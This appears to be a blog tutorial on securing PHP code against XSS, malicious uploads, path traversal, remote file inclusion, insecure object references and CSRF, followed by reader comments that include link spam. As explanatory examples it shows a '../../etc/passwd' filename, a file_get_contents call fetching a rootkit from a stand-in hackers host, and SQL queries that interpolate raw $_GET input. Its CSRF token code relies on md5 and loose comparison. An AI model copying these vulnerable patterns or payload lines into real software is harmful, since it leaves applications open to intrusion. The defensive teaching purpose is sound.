Securing PHP applications Part I – Securing PHP code

There are a lot of books treating this issue. So, why another post about this subject. Well, here a try to cover this problem in a short way so that you don’t have to read hundreds of pages or to search all over the Internet for this.

These being said, you must know that securing a PHP application is not an easy process, as you may think and involves a lot of other things, not just your code.

The things you must take care when trying to secure a PHP application are:
1. Forms
2. URLs
3. Databases and SQL
4. Sessions and Cookies
5. Files and Includes (including file uploads)
6. Commands
7. Authentication and Authorization
8. Shared hosting

So, we are talking about securing our PHP code, about securing PHP on the server and about securing Apache and MySQL.

Because the discussion about securing PHP code is a little bit longer, I’ve divided it into two parts, the third is about securing Apache and MySQL.

Let’ s start with the PHP code. Here, the attack/attacks could be:
1. Cross- site scripting (XSS)
What is it?
This type of attack is one of the most common and known attacks and reflects a special case of code injection. Is the result of sending unchecked, user- supplied data to a browser. For example, a malicious user can create an account with this username,
claudia_helen
and every time someone clicks this username he will be redirected to this page, where the evil user will get his/her sessionID and use it for his malicious purpose.

Also, your site design might be attacked if a user inserts a HTML portion like this one:

</div>

or

</table>

(closing a container before time) depending on your page HTML.

You have to know that are two types of XSS attacks:
- reflected or non- persistent
- stored or persistent

The reflected XSS attack is the most common type of attack and the easiest for the malicious user, which places a link in a banner or a search result from a search engines and makes the user clicks it. This way he can deliver a virus or a malformed cookie.

The stored XSS attack is the scary one because of its devastating results. This is the case for the example presented above.

How should I protect my application from it?
There are several methods to fight against this attack:
1. establish a pattern for the user input, for example username should have only characters and number between 0 and 9
2. use strip_tags when inserting user input into database for cleaning the code of tags like the one above (see http://www.php.net/manual/en/function.strip-tags.php for more details)
3. use htmlspecialchars() when output user input, which converts all applicable HTML characters to entities (see http://www.php.net/manual/en/function.htmlspecialchars.php for more details)

In other words, filter user input.

2. Malicious file execution, file uploads and filename
OBS: If your application doesn’t need to use the uploading process, is safer to disable the file_uploads directive in php.ini.

What is it?
This attack consists of uploading malicious files. For example, assume that you have an application which allows users to upload photos and videos. A malicious user can upload a photo containing some malicious code or even a virus that will read all your files from the server or a user can send a bad name for a filename, like this “../../etc/passwd”.

How should I protect my application from it?
The solution for the second example is relatively simple: you must validate the filename and then to concatenate the filename with a valid directory for upload (a directory where you intend to allow users to upload – is best to place this directory outside the root and don’t forget to give it the proper permissions).
For the first example you have to do a lot more:
- test the file type (MIME type – for this you must install a PECL extension called “fileinfo”, see http://php.net/manual/en/install.pecl.php for details; this is absolutely necessary because you can NOT trust the user input and the name of the file from the $_FILES super global array is generated by the user)
- test to see if the file is really uploaded, with is_uploaded_file() function
- by default the file is uploaded to tmp directory, so you have to move it to a proper directory; you will do this using the move_uploaded_file() function

Here I have to remind you about another problem concerning files: remote filesystem access. For example you may want to read a file this way: file_get_contents(“http://www.site.com/rss.xml”). Ok, but if someone hacks your application and instead of a rss file he puts somethong like this: file_get_contents(“http://www.site.com/index.php?file=http://hackers.org/rootkit.exe”). The solution for that is to disable allow_url_fopen from php.ini, in other words to disable the capability to access remote files. If you really need this directive enabled you have to separate the process intro two distinct tasks, rather than accessing them directly:
- retrieve data
- process data

and for each of the above tasks you can create an API (a function to filter and validate the URL/filename and the content from that URL) to handle it.

OBS: 1. Another thing you should do is to set the upload_max_filesize and post_max_size directives in php.ini to some reasonable values.
2. If coding using a framework, you can use the framework’s build-in library for uploads. For example, if using CodeIgniter you may use the File Uploading Class (more info here, http://codeigniter.com/user_guide/libraries/file_uploading.html ). If using ZendFramework you may use the Zend_File Class (more info here, http://framework.zend.com/manual/en/zend.file.html ) which provides some of the security checks needed.

Another thing to take care is when using the exec() command with user input, for example. That user input must be filtered and validated to protected the server from command injections. In this case you can use escapeshellcmd() or escapeshellarg(), depending on the context.

3. Insecure direct object reference or simpler, semantic URL attacks
What is it?
This is an attack launched just from the URL. How is that possible? Very simple. You have probably seen a lot of URLs like this: http:///www.example.com/index.php?orderId=10 or http:///www.example.com/view_order/orderId=10 .
In the application, you may have an SQL query like this one:

$sql = “SELECT * 
FROM `orders` 
WHERE id={$_GET[‘orderId’]}”;

or

$sql = “DELETE 
FROM `orders` 
WHERE id={$_GET[‘orderId’]}”;

How should I protect my application from it?
Well, here is relatively easy to prevent this things from happening. The method I use is for example to add a userId verification before query the database for order information. The solution for this type of attack is very connected with the context, but in this cases you have to remember to distinguish proper user information like order, account information, etc.

4. Cross- site request forgeries (CSRF)
What is it?
CSRF is a type of attack that allows the attacker to send arbitrary HTTP requests from the victim. Attention, I said the VICTIM. So, in this case you can not detect the attacker.
For example, an attacker can observe the mechanism through which a user buys himself something from an online shop and sees that the order is processed from a URL like this one: http://www.example.com/buy.php?itemId=1&quantity=34 .
Backward, the developer used an $_REQUEST variable to get user’s order and this is fatale because the attacker can buy every item and in what ever quantity he wants. Actually he can place this link in a src attribute of an image that loads every time a page is visited.

How should I protect my application from it?
Well, in this type of attacks the first thing you should do is to use $_POST instead of $_REQUEST, validate the user and use a token validation system to force the user to use your own forms. Maybe you ask yourself what is the deal with this token system, so I give you an example:

<?php
//you have to generate the token and put it in session
    session_start();
    $token = md5(uniqid(rand(), TRUE));
    $_SESSION['token'] = $token;
?>
    <form action="buy.php" method="POST">
    <input type="hidden" name="token" value="<?php echo $token; ?>" />
    <p> Item:
    <select name="item">
      <option value="1">Lipstick</option>
      <option value="2">Mirror</option>
    </select><br />
    Quantity: <input type="text" name="quantity" /><br />
    <input type="submit" value="Buy" />
    </p>
    </form>

Then, you have to check the token from $_POST and compare it with the one from session:

<?php
    if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']){
      /* Valid Token */
    }
?>

No related posts.

13 Responses to “Securing PHP applications Part I – Securing PHP code”

  1. Dimitris says:

    Too Helpfull….Thnx

  2. mazgalica says:

    Salut imi place cum scrii te-ar interesa un schimb de linkuri cu siteul meu?

  3. Who made this wp subject? Can We have his/her get in touch with e-mail or IM title?

  4. Ilyas Kazi says:

    Nice coverage….

    I expect a little more stronger protection guidance in your part-2…

  5. Jean says:

    Lots of good points. I was aware of this but it’s always good to get a refresher for good practices!

  6. Ilyas Kazi says:

    hmmm.. by the time I was reading this post, it seems you already posted part-2 as well.. plz ignore my previous comment.

  7. Hi,

    I didn’t read the whole of your article but in point 4 you said that the user should use $_POST. Well, OK he has to, but an attacker can check the header sent (with Live HTTP Headers for example) and perform a POST request with the data he wants.
    It is the token mechanism you speak of which will greatly help preventing those attacks.

  8. Claudia says:

    Hi Guillaume,

    At that point the solution I posted was :
    “… the first thing you should do is to use $_POST instead of $_REQUEST, validate the user and use a token validation system to force the user to use your own forms. ”

    I reffered to these 3 methods used together, not just to replace the REQUEST with the POST.

  9. [...] PHP applications, (part1 and [...]

  10. andreaj says:

    Very man or woman speeches need to seat giving observe into couples. Brand new sound system just before unnecessary folks need to always be mindful of normally senior general rule from public speaking, which is to be the mini. finest man speaches

    dezinsectie dezinfectie deratizare

  11. andreaj says:

    I wish to show some appreciation to you just for bailing me out of this challenge. Right after browsing by means of the internet and obtaining principles which were not beneficial, I believed my life was more than. Existing minus the strategies towards the difficulties you’ve fixed by way of your posting is a crucial case, and the ones that would have badly affected my career if I hadn’t discovered your internet site. Your know-how and kindness in taking care of the entire lot was helpful. I’m not confident what I would’ve done if I hadn’t encountered such a stuff like this. I can at this moment look ahead to my future. Thank you so significantly for the skilled and amazing guide. I won’t hesitate to endorse your blog post to anyone who would need to have recommendations about this matter.

    servicii deratizare
    firme deratizare

  12. I all the time used to read article in news papers but now as I am a
    user of net therefore from now I am using net for
    posts, thanks to web.

    my web page – fmbank kredyty

Leave a Reply